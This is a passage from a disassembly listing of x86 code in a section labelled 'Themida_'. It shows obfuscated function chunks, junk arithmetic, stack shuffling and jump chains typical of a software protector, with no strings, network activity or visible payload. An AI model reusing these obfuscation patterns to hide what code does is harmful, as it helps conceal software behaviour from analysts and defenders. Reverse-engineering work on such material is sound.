loc_58F31E: ; CODE XREF: sub_585452+7B92j
pop esp
pop edi
push ebp
push edi
mov edi, 4D773D9Bh
push edi
pop ebp
pop edi
push edi
mov edi, 0FFFFFFFFh
add ebp, edi
jmp loc_58E54E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58F337: ; CODE XREF: sub_58999B-1F7Fj
sub bl, dh
sub bl, 9
sub bl, 0AFh
jmp loc_58D4B0
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F344: ; CODE XREF: sub_585452+2053j
add edx, 59DE34A3h
add ebx, edx
mov edx, [esp-1Ah+arg_16]
add esp, 4
push eax
mov eax, 2
jmp loc_58701A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F360: ; CODE XREF: Themida_:0058CE06j
add esp, 2
add bl, 20h
jmp loc_58A02A
; ---------------------------------------------------------------------------
loc_58F36B: ; CODE XREF: Themida_:0058A492j
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
sub ebx, ebp
pop ebp
jmp loc_583F23
; ---------------------------------------------------------------------------
loc_58F382: ; CODE XREF: Themida_:0058AA6Bj
sub bl, 0DBh
add bl, dh
push ecx
mov ch, 2Eh
shl ch, 8
xor ch, 0DBh
add bl, ch
pop ecx
pop edx
push ecx
mov cl, 2
add cl, 7
add cl, 0C6h
inc cl
add cl, 5Fh
add bl, cl
pop ecx
push 78B1h
mov [esp], eax
mov al, 2Bh
sub bl, al
jmp loc_58C349
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BE98
loc_58F3B6: ; CODE XREF: sub_58BE98-27Fj
dec edi
jmp loc_586935
; END OF FUNCTION CHUNK FOR sub_58BE98
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_58F3BC proc near ; CODE XREF: sub_585452-EBFj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0058406A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00587B5C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00587BD7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00588584 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005886A4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00589223 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00589A9D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058F27E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F4AB SIZE 00000007 BYTES
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+4+var_4]
pop esp
pop dword ptr [esp+0]
pop ebx
xor eax, ebx
jmp loc_58F4AB
sub_58F3BC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F3DA: ; CODE XREF: sub_585452+A7CDj
push edi
jmp loc_584FA4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7977h
mov [esp], ecx
jmp loc_5859B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A5A3
loc_58F3F1: ; CODE XREF: sub_58A5A3-2894j
push eax
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_58A5A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F3F8: ; CODE XREF: sub_585452+4165j
pop eax
jmp loc_588116
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F3FE: ; CODE XREF: Themida_:005851F4j
dec cl
not cl
not cl
inc cl
add cl, 17h
sub al, cl
mov ecx, [esp]
push ebx
mov ebx, esp
jmp loc_589C39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F416: ; CODE XREF: sub_585452+990j
dec [esp+46h+var_48+2]
pushf
jmp loc_58AD86
; ---------------------------------------------------------------------------
loc_58F41F: ; CODE XREF: sub_585452+80Fj
mov [esp-0Ch+arg_8], edi
push edx
push 36E73A7h
pop edx
or edx, 59B95429h
neg edx
jmp loc_5872EE
; ---------------------------------------------------------------------------
loc_58F436: ; CODE XREF: sub_585452+6Dj
add edx, ebx
add edx, 7EEE0BDAh
add edx, 134B3EC4h
pop ebx
sub edx, 0BDFAD1F0h
add eax, 5B21063Fh
add eax, edx
push ebp
mov ebp, 5B21063Fh
jmp loc_58F97E
; ---------------------------------------------------------------------------
loc_58F45D: ; CODE XREF: sub_585452+62D9j
shr bl, 6
jmp loc_58A707
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F465: ; CODE XREF: Themida_:0058C06Dj
add bx, si
pop esi
mov edx, [esp]
add esp, 4
add bx, ax
sub bx, 141Bh
movzx eax, ax
push 3180h
mov [esp], edi
jmp loc_58DDA8
; =============== S U B R O U T I N E =======================================
sub_58F487 proc near ; CODE XREF: sub_585452+4B5Cj
push ebx
mov ebx, 2789117Ah
xor edi, ebx
pop ebx
add edx, 66F21A8Ch
add edx, edi
jmp sub_58E1AF
sub_58F487 endp
; ---------------------------------------------------------------------------
loc_58F49D: ; CODE XREF: Themida_:0058FA93j
push dword ptr [esp]
mov eax, [esp]
push edx
mov edx, esp
jmp loc_585763
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F3BC
loc_58F4AB: ; CODE XREF: sub_58F3BC+19j
xor ebx, eax
jmp loc_587B5C
; END OF FUNCTION CHUNK FOR sub_58F3BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58F4B2: ; CODE XREF: sub_58FA66-806Bj
add eax, 4
jmp loc_58B93D
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F4C4: ; CODE XREF: sub_585452+907j
pop edi
jmp loc_58D2B4
; ---------------------------------------------------------------------------
loc_58F4CA: ; CODE XREF: sub_585452+7F37j
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58F4CF: ; CODE XREF: sub_587574+5A27j
mov esp, [esp+0]
mov [esp+0], ebx
push 0E7Fh
mov [esp-4+arg_0], eax
push [esp-4+arg_0]
pop ebx
push 3EC4h
mov [esp+0], edi
mov edi, esp
add edi, 4
push esi
mov esi, 35AB24D3h
jmp loc_588732
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
jmp loc_584DA1
; ---------------------------------------------------------------------------
loc_58F506: ; CODE XREF: Themida_:0058A535j
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F50B: ; CODE XREF: sub_585452+6F8Dj
xor eax, 0D31524CDh
jmp sub_583C38
; ---------------------------------------------------------------------------
loc_58F515: ; CODE XREF: sub_585452+8A5j
pop ebx
sub edx, 37D14645h
add edx, 3FE81B79h
sub edx, eax
push 0C87h
mov [esp-24h+arg_1E+2], ebx
jmp loc_587ABC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F531: ; CODE XREF: Themida_:0058981Bj
push esi
push 1357h
mov [esp], esp
jmp loc_5855A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F53F: ; CODE XREF: sub_585452+25Bj
mov ecx, 5CD23666h
jmp loc_588B38
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F549: ; CODE XREF: Themida_:0058E876j
xor esi, 0C97EB73Eh
jmp loc_586ACE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F554: ; CODE XREF: sub_585452+4555j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_58A037
; ---------------------------------------------------------------------------
loc_58F565: ; CODE XREF: sub_585452+350Dj
xor edx, 30E860C6h
sub edx, 627807D0h
sub edx, 0CE70135Dh
mov edi, edx
pop edx
shl edi, 8
shr edi, 8
push edx
mov edx, 1B2EFABFh
add edi, edx
pop edx
sub edx, 8C03182h
sub edx, edi
push ecx
mov ecx, 232776D4h
jmp loc_58D85F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F59C: ; CODE XREF: Themida_:0058AA61j
mov [esp], edx
push ebx
mov bl, 0D4h
jmp loc_5850CF
; ---------------------------------------------------------------------------
loc_58F5A7: ; CODE XREF: Themida_:0058F11Ej
add ecx, 0DBB8F3C3h
shr ecx, 2
sub ecx, 26700497h
xor ecx, 0EE7E184Bh
add esi, ecx
jmp loc_58CEBA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_58F5C3: ; CODE XREF: sub_58F728-94CBj
shr edx, 1
sub edx, 4C8E0586h
xor edx, 75637277h
shl edx, 6
xor edx, 7B4E3600h
and eax, edx
jmp loc_5892C3
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F5E1: ; CODE XREF: sub_585452-E4j
pop ebx
add edx, 37D14645h
mov eax, [esp-6+arg_0+2]
jmp loc_588AF3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58F5F0: ; CODE XREF: sub_587574-A30j
xor eax, 6FAA78A9h
sub ebp, eax
jmp loc_58CF97
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F5FC: ; CODE XREF: sub_585452+7CAj
add edi, ebp
pop ebp
jmp loc_58C628
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F604: ; CODE XREF: Themida_:005848AEj
sub edx, ebx
pop ebx
xor ebx, edx
pop edx
sub esp, 4
mov [esp], edx
push 5127h
mov [esp], ebp
mov ebp, 4B650135h
mov edx, 274200DAh
xor edx, ebp
pop ebp
neg edx
shl edx, 8
neg edx
shr edx, 3
push ebx
mov ebx, 45AC6D38h
jmp loc_58AA8B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_58F63D: ; CODE XREF: sub_589FD5-1B83j
pop esi
pop [esp-8+arg_4]
jmp loc_587CB7
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
jmp loc_58A072
; ---------------------------------------------------------------------------
loc_58F650: ; CODE XREF: Themida_:0058C61Bj
push edi
mov edi, 261B3F81h
xor edx, edi
pop edi
shr edx, 3
jmp loc_58F26E
; ---------------------------------------------------------------------------
loc_58F661: ; CODE XREF: Themida_:00586B2Cj
push esi
mov esi, 767A5A42h
xor esi, 767A5A43h
add eax, esi
jmp loc_5879C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58F674: ; CODE XREF: sub_58FA66-A7E7j
mov eax, esp
jmp loc_5840A7
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_58F67B: ; CODE XREF: Themida_:0058A813j
push ecx
mov ecx, 4
jmp loc_58E1D1
; ---------------------------------------------------------------------------
loc_58F686: ; CODE XREF: Themida_:0058530Cj
sub dx, cx
jmp loc_58CCC6
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
jmp loc_585DE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F699: ; CODE XREF: sub_585452+4FA2j
push [esp+0Eh+var_10+2]
pop eax
add esp, 4
mov edi, [esp+0Ah+var_C+2]
jmp loc_585245
; ---------------------------------------------------------------------------
loc_58F6AB: ; CODE XREF: sub_585452+30Cj
pop ecx
add edi, eax
add edi, 41F04340h
pop eax
add edi, 4
xor edi, [esp+12h+var_14+2]
jmp loc_58CC23
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586650
loc_58F6C0: ; CODE XREF: sub_586650-218Aj
mov eax, [esp+4+var_4]
jmp loc_58E19D
; END OF FUNCTION CHUNK FOR sub_586650
; ---------------------------------------------------------------------------
loc_58F6C8: ; CODE XREF: Themida_:0058504Fj
push esp
pop edi
jmp loc_58F87A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58F6CF: ; CODE XREF: sub_58EFBD-7A3Bj
mov [esp-8+arg_4], esp
add [esp-8+arg_4], 4
mov edi, [esp-8+arg_4]
add esp, 4
push ebp
push edi
mov edi, 3E373FB4h
push eax
push 35B34D0Ch
pop eax
xor eax, 73237EC3h
add eax, 3890978h
xor eax, 1A2F73CBh
sub eax, 11FF0EDCh
jmp loc_584B9A
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F709: ; CODE XREF: sub_585452+2E56j
push [esp-0Ah+arg_4+2]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_58CAED
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58F71E: ; CODE XREF: sub_58EFBD-A420j
xor ebp, edi
pop edi
add edi, ebp
jmp loc_5856D7
; END OF FUNCTION CHUNK FOR sub_58EFBD
; =============== S U B R O U T I N E =======================================
sub_58F728 proc near ; CODE XREF: sub_58B758-471Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 005847B2 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00586256 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005864C4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00587101 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00587868 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00587BCA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00587BF4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005892C3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058940D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00589987 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B266 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058B3A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B622 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B863 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BABA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D4D5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D9E6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058F5C3 SIZE 0000001E BYTES
push ebp
mov ebp, 0C0493963h
jmp loc_58940D
sub_58F728 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BCA7
loc_58F733: ; CODE XREF: sub_58BCA7-12BFj
pop ebx
shr esi, 2
shr esi, 8
inc esi
and esi, 16010D2Ch
neg esi
add esi, 1090Ch
add ebx, esi
pop esi
push esi
mov esi, 4
sub ebx, esi
pop esi
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
jmp loc_589CBF
; END OF FUNCTION CHUNK FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F760: ; CODE XREF: sub_585452+36F0j
mov edx, 2AD28E22h
xor ebp, edx
jmp loc_584164
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F76C: ; CODE XREF: Themida_:0058955Fj
xor edi, [esp]
mov esp, [esp]
jmp loc_586842
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F777: ; CODE XREF: sub_585452+157Bj
pop ecx
sub ebx, edx
jmp loc_58EDC3
; ---------------------------------------------------------------------------
loc_58F77F: ; CODE XREF: sub_585452+A5F3j
sub al, ch
mov ecx, [esp+42h+var_44+2]
push edx
jmp loc_588D14
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_584B7A
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
push 1450h
mov [esp], edi
mov edi, esp
jmp loc_58427E
; ---------------------------------------------------------------------------
loc_58F7BC: ; CODE XREF: Themida_:00587CB2j
push edi
push edx
mov edx, 684C77F7h
add [esp+4], edx
pop edx
pop ebx
sub ebx, 684C77F7h
pop edi
push 0C4Ch
mov [esp], ebp
push ebx
mov ebx, 3CCB3521h
mov ebp, 9A25392h
xor ebp, ebx
jmp loc_584525
; ---------------------------------------------------------------------------
loc_58F7EA: ; CODE XREF: Themida_:00587FEBj
push small 0
jmp loc_58EB63
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585019
loc_58F7F3: ; CODE XREF: sub_585019+Cj
mov ebp, 4
add edx, ebp
jmp loc_5849B0
; END OF FUNCTION CHUNK FOR sub_585019
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F7FF: ; CODE XREF: sub_585452-11A7j
push dword ptr [edi+eax*4]
push ecx
push 3FCh
pop ecx
push 37BCh
mov [esp+4+var_4], ebp
mov ebp, 731B6C59h
add edi, ebp
pop ebp
sub edi, 5C37137Ch
sub edi, ecx
add edi, 5C37137Ch
sub edi, 731B6C59h
push dword ptr [esp+0]
push [esp+4+var_4]
pop ecx
add esp, 4
push 3220h
mov [esp+4+var_4], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+4+var_4]
jmp loc_58C128
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F858: ; CODE XREF: Themida_:00588CC0j
pop edi
xor eax, ebx
jmp loc_587300
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F860: ; CODE XREF: sub_585452+A73Bj
not [esp+4+var_4]
pop eax
xchg eax, [esp+0]
push dword ptr [esp+0]
pop eax
jmp loc_58C8B5
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F870: ; CODE XREF: Themida_:005846F0j
pop esp
mov [esp], ebx
push edi
jmp loc_58B06A
; ---------------------------------------------------------------------------
loc_58F87A: ; CODE XREF: Themida_:0058F6CAj
add edi, 4
jmp loc_5874C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F885: ; CODE XREF: sub_585452+80FEj
shl ebx, 7
jmp loc_58CE3A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
push esp
push dword ptr [esp]
pop ebp
jmp loc_58FABB
; ---------------------------------------------------------------------------
loc_58F89C: ; CODE XREF: Themida_:0058BBE4j
push esp
push dword ptr [esp]
pop edx
add esp, 4
push edi
push eax
mov eax, 4
mov edi, eax
jmp loc_588621
; ---------------------------------------------------------------------------
xor [esp], bp
xor bp, [esp]
jmp loc_58B7D4
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
push esi
mov esi, 4
jmp loc_58EE97
; ---------------------------------------------------------------------------
loc_58F8D6: ; CODE XREF: Themida_:0058A897j
pop edx
add edx, 4
push ebx
jmp loc_5891E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F8E3: ; CODE XREF: sub_585452+8BDEj
push ecx
mov ecx, 7A591BB8h
and ecx, 0FD1239Eh
or ecx, 3070552Ah
push 5619h
mov [esp+4+var_4], esi
mov esi, 3A7157B6h
sub ecx, 48403F86h
sub ecx, esi
add ecx, 48403F86h
mov esi, [esp+4+var_4]
jmp loc_58B3E3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58905F
loc_58F918: ; CODE XREF: sub_58905F-4134j
xor ebp, 76D3BBD0h
jmp loc_58D4E0
; END OF FUNCTION CHUNK FOR sub_58905F
; =============== S U B R O U T I N E =======================================
sub_58F923 proc near ; CODE XREF: sub_585452+CF0j
; FUNCTION CHUNK AT 005841F6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00589371 SIZE 00000009 BYTES
push ebp
mov ebp, 1E211ECh
push eax
jmp loc_5841F6
sub_58F923 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F92F: ; CODE XREF: sub_585452+5BADj
add ebp, edx
mov edx, [esp+6+var_8+2]
add esp, 4
xchg ebp, [esp+2+var_4+2]
pop esp
sub esp, 4
mov [esp+2+var_4+2], esi
push eax
mov eax, 21FD7696h
neg eax
push edx
mov edx, 4F4871A0h
dec edx
jmp loc_58EB1D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586F2E
loc_58F958: ; CODE XREF: sub_586F2E+2430j
pop [esp+4+var_4]
mov esp, [esp+0]
shl [esp-4+arg_0], cl
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_586F2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F968: ; CODE XREF: sub_585452+10BFj
shr bl, 6
jmp loc_5870B0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push ecx
push 169h
mov [esp], edx
jmp loc_58FD75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F97E: ; CODE XREF: sub_585452+A006j
sub eax, ebp
pop ebp
pop edx
jmp loc_5842C3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F987: ; CODE XREF: Themida_:00589177j
mov ebp, 0D916083h
mov eax, 41047CE8h
jmp loc_5857AB
; ---------------------------------------------------------------------------
loc_58F996: ; CODE XREF: Themida_:0058EADFj
pop eax
push ecx
jmp loc_58DDD9
; ---------------------------------------------------------------------------
loc_58F99D: ; CODE XREF: Themida_:00585001j
push edx
mov edx, 6B22498Fh
not edx
push esi
mov esi, 75066C51h
or esi, 1D1524C0h
push eax
push ebx
push 57B67127h
pop ebx
add ebx, 90834538h
mov eax, ebx
pop ebx
sub esi, eax
pop eax
xor edx, esi
pop esi
add ebx, edx
mov edx, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58F9E4: ; CODE XREF: Themida_:0058C828j
mov dh, 1Ah
or dh, 0FCh
dec dh
shr dh, 6
jmp loc_58D57F
; ---------------------------------------------------------------------------
loc_58F9F3: ; CODE XREF: Themida_:00585064j
add al, 44h
mov bh, al
pop eax
jmp loc_5870BF
; ---------------------------------------------------------------------------
loc_58F9FD: ; CODE XREF: Themida_:0058B898j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_58901D
; ---------------------------------------------------------------------------
loc_58FA0B: ; CODE XREF: Themida_:0058F1ACj
sub al, 0EAh
pop ecx
jmp loc_584E6B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FA13: ; CODE XREF: sub_585452-7EAj
add al, 3Ch
jmp sub_58DA2E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FA1A: ; CODE XREF: Themida_:00589F88j
mov eax, [esp]
add esp, 4
pop ebx
xor al, cl
pop ecx
sub esp, 4
mov [esp], edx
sub esp, 4
jmp loc_58C7CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EDD1
loc_58FA38: ; CODE XREF: sub_58EDD1+9j
or bl, 0C5h
push ecx
mov ch, 15h
jmp loc_58DFA7
; END OF FUNCTION CHUNK FOR sub_58EDD1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FA43: ; CODE XREF: sub_585452+6776j
pop bx
jmp loc_58F77F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FA4A: ; CODE XREF: Themida_:00585EC1j
sub edx, 39DD2292h
mov esi, [esp]
jmp loc_5885D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FA58: ; CODE XREF: sub_585452+795j
pop edi
push 4428h
mov [esp-4+arg_0], eax
jmp loc_583CF6
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58FA66 proc near ; CODE XREF: sub_585452+779Dj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
; FUNCTION CHUNK AT 00583E75 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005840A7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00584757 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00584B6B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00584DA7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00585111 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00585263 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00585373 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005860E8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005862D9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00586B67 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00586E95 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00586FCA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005879F3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00587FC8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00589151 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00589635 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00589A02 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00589D0E SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0058A4D4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058A662 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058AAA1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058AF03 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058AFCD SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058B65A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B93D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C5B1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D4A2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DC1B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E5D8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E912 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F4B2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F674 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FC66 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FDEC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FEC9 SIZE 00000017 BYTES
push ebp
mov ebp, 0CF67BCDh
shr ebp, 7
add ebp, 2B2F7F25h
shl ebp, 1
sub ebp, 0F7FEC89Dh
mov esi, ebp
mov ebp, [esp+8+var_8]
add esp, 4
xor [esp+4], esi
pop esi
jmp loc_585111
sub_58FA66 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
jmp loc_58F49D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_58FA98: ; CODE XREF: sub_58AB18+2F5Ej
push edi
push edx
mov edx, 7D12415Ch
jmp loc_583F40
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58FAA4: ; CODE XREF: sub_58999B+270j
add bl, cl
push dword ptr [esp+0]
pop ecx
add esp, 4
sub bl, al
push small 0B5Dh
jmp loc_584E79
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
loc_58FABB: ; CODE XREF: Themida_:0058F897j
push edx
mov edx, esp
jmp loc_587DB0
; ---------------------------------------------------------------------------
loc_58FAC3: ; CODE XREF: Themida_:00587758j
mov cl, 0BEh
add bl, 35h
add bl, 98h
sub bl, cl
sub bl, 98h
push edx
mov dh, 0CBh
sub esp, 4
mov [esp], eax
mov al, 89h
xor al, 6Bh
or dh, al
jmp loc_58B6A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FAE4: ; CODE XREF: sub_585452+85D7j
and eax, 39D412FCh
xor eax, 211412C6h
mov esi, eax
mov eax, [esp+0Ah+var_C+2]
jmp loc_587A3C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FAF8: ; CODE XREF: Themida_:0058FCA9j
pop edx
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
inc byte ptr [esp]
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
